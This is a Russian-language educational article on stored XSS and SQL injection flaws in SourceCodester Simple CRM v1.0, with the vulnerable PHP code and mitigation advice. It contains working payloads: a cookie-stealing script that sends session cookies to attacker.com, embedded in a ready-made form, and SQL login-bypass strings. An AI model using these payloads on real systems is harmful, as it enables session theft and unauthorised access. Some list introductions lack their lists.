
# Образовательный анализ CVE-2023-24203 (хранимая XSS) и CVE-2023-24204 (SQL-инъекция) в SourceCodester CRM, с шагами эксплуатации и стратегиями смягчения последствий.
В постоянно развивающемся ландшафте кибербезопасности веб-приложения остаются главной целью для злоумышленников, стремящихся использовать уязвимости. Недавно в SourceCodester Simple Customer Relationship Management (CRM) System v1.0 были обнаружены две критические уязвимости: CVE-2023-24203 и CVE-2023-24204. Эти уязвимости, связанные с межсайтовым скриптингом (XSS) и SQL-инъекциями, представляют значительные риски, включая выполнение произвольного кода и несанкционированный доступ. Понимание этих уязвимостей и их последствий необходимо разработчикам и специалистам по безопасности для защиты систем от потенциальных угроз.
Межсайтовый скриптинг (XSS) — это тип уязвимости, который возникает, когда веб-приложение позволяет пользователям внедрять вредоносные скрипты на веб-страницы, просматриваемые другими пользователями. Это может привести к несанкционированным действиям от имени пользователя, краже данных и дальнейшей эксплуатации. Уязвимости XSS можно разделить на три основных типа:
SQL-инъекция — это тип уязвимости, который возникает, когда атакующий может манипулировать SQL-запросами, внедряя произвольный SQL-код в запрос. Это может привести к несанкционированному доступу, краже данных и другим вредоносным действиям. SQL-инъекции обычно возникают из-за недостаточной проверки входных данных и отсутствия параметризованных запросов. Основные последствия SQL-инъекций включают:
В этой статье мы подробно рассмотрим CVE-2023-24203 и CVE-2023-24204, изучим особенности этих уязвимостей, векторы атак, последствия и стратегии смягчения. Глубокое понимание этих уязвимостей имеет решающее значение для защиты ваших приложений и данных от потенциальных эксплойтов.
Уязвимости SQL-инъекций часто возникают из-за недостаточной проверки входных данных и некачественных методов программирования. Некоторые распространённые причины включают:
Уязвимости межсайтового скриптинга (XSS) обычно возникают из-за неправильной обработки пользовательского ввода и вывода. Распространённые причины включают:
CVE-2023-24203 — это уязвимость хранимого межсайтового скриптинга (XSS), обнаруженная в компоненте get-quote.php системы SourceCodester Simple Customer Relationship Management (CRM) v1.0. Эта уязвимость позволяет атакующему внедрять вредоносные скрипты в параметры company и query, которые затем сохраняются в базе данных и выполняются при просмотре администратором, что приводит к выполнению произвольного кода.
Уязвимость находится в скрипте get-quote.php, который обрабатывает пользовательский ввод из формы запроса котировки. Исходный код PHP приведён ниже:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Скрипт принимает пользовательский ввод из формы (name, email, contact, company, services, other и query) и напрямую включает его в SQL-запрос для сохранения данных в базе данных. Хотя ввод services очищается с помощью mysqli_real_escape_string и addslashes, параметры company и query не очищаются и не кодируются должным образом при выводе в ответе. Отсутствие надлежащей очистки и кодирования позволяет внедрять и сохранять вредоносные скрипты в базе данных.
Чтобы эксплуатировать эту уязвимость, атакующий может создать полезную нагрузку, содержащую вредоносный JavaScript-код в параметре company или query. Когда администратор просматривает запрос котировки, внедрённый скрипт выполняется в его браузере.
Отправив следующую полезную нагрузку в параметре query:
<script>alert('XSS');</script>
Атакующий может инициировать XSS-атаку, когда администратор просматривает запрос котировки.
Можно создать более опасную полезную нагрузку для кражи сессионных cookie-файлов администратора. Используя следующую полезную нагрузку в параметре query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
Атакующий может отправить cookie-файлы администратора на удалённый сервер, контролируемый атакующим.
Отправка вредоносного запроса котировки: Атакующий заполняет форму запроса котировки, внедряя вредоносную полезную нагрузку в поле company или query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
Просмотр запроса администратором: Когда администратор входит в CRM-систему и просматривает отправленную котировку, вредоносный скрипт выполняется в его браузере, отправляя его сессионные cookie-файлы на сервер атакующего.
Успешная эксплуатация этой уязвимости хранимого XSS позволяет атакующему выполнять произвольный JavaScript в контексте браузера администратора. Это может привести к различным вредоносным действиям, включая:
Кражу сессионных cookie-файлов Перехват пользовательских сессий Выполнение несанкционированных действий от имени администратора Перенаправление администратора на вредоносные веб-сайты
Чтобы смягчить эту уязвимость, необходимо очищать и кодировать все пользовательские вводы перед их включением в веб-страницу. В частности:
Очистка ввода: Используйте такие функции, как htmlspecialchars(), для кодирования специальных символов в пользовательском вводе. Проверка ввода: Внедрите строгую проверку входных данных, чтобы гарантировать принятие только ожидаемых данных. Политика безопасности контента (CSP): Используйте заголовки CSP, чтобы ограничить источники, из которых могут загружаться и выполняться скрипты.
CVE-2023-24204 — это уязвимость SQL-инъекции, обнаруженная в компонентах get-quote.php и login.php системы SourceCodester Simple Customer Relationship Management (CRM) v1.0. Эта уязвимость позволяет атакующему внедрять произвольные SQL-команды в базу данных, что потенциально может привести к несанкционированному доступу и манипулированию данными.
Уязвимость SQL-инъекции присутствует как в скрипте get-quote.php, так и в admin/login.php. Ниже приведён анализ того, как эти уязвимости проявляются и могут быть эксплуатированы.
Скрипт get-quote.php обрабатывает пользовательский ввод из формы запроса котировки. Исходный код приведён ниже:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Давайте также рассмотрим логику исходного кода login.php.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
Скрипт get-quote.php не очищает должным образом параметр name. Атакующий может перехватить запрос с помощью такого инструмента, как Burp Suite, изменить параметр name и внедрить вредоносные SQL-команды.
Скрипт login.php уязвим к обходу аутентификации из-за отсутствия надлежащей проверки входных данных в полях email и password. Атакующий может использовать полезную нагрузку, например hack' or 1=1;# , чтобы обойти аутентификацию и получить доступ.
' OR '1'='1';--
Отправьте изменённый запрос: Отправьте изменённый запрос на сервер. Внедрённая SQL-команда будет выполнена базой данных.
Эксплуатация login.php
Перейдите на страницу входа: Откройте страницу login.php.
Введите вредоносную полезную нагрузку: Используйте полезную нагрузку, например hack' or 1=1;# , в поле email и любую строку в поле password.
Успешная эксплуатация этих уязвимостей SQL-инъекции может привести к различным вредоносным действиям, включая:
Несанкционированный доступ: Злоумышленники могут получить административный доступ к системе. Кража данных: Злоумышленники могут похитить конфиденциальную информацию из базы данных. Манипулирование данными: Злоумышленники могут изменять, вставлять или удалять данные в базе данных. Смягчение
Чтобы смягчить эти уязвимости, необходимо внедрить надлежащую проверку входных данных и использовать параметризованные запросы. В частности:
Используйте подготовленные выражения: Внедрите параметризованные запросы для предотвращения SQL-инъекций. Проверяйте входные данные: Применяйте строгую проверку входных данных, чтобы гарантировать принятие только ожидаемых данных. Экранируйте ввод: Корректно экранируйте все пользовательские вводы перед использованием их в SQL-запросах.
Следуя этим рекомендациям, вы можете значительно снизить риск атак SQL-инъекций и защитить своё веб-приложение от потенциальной эксплуатации.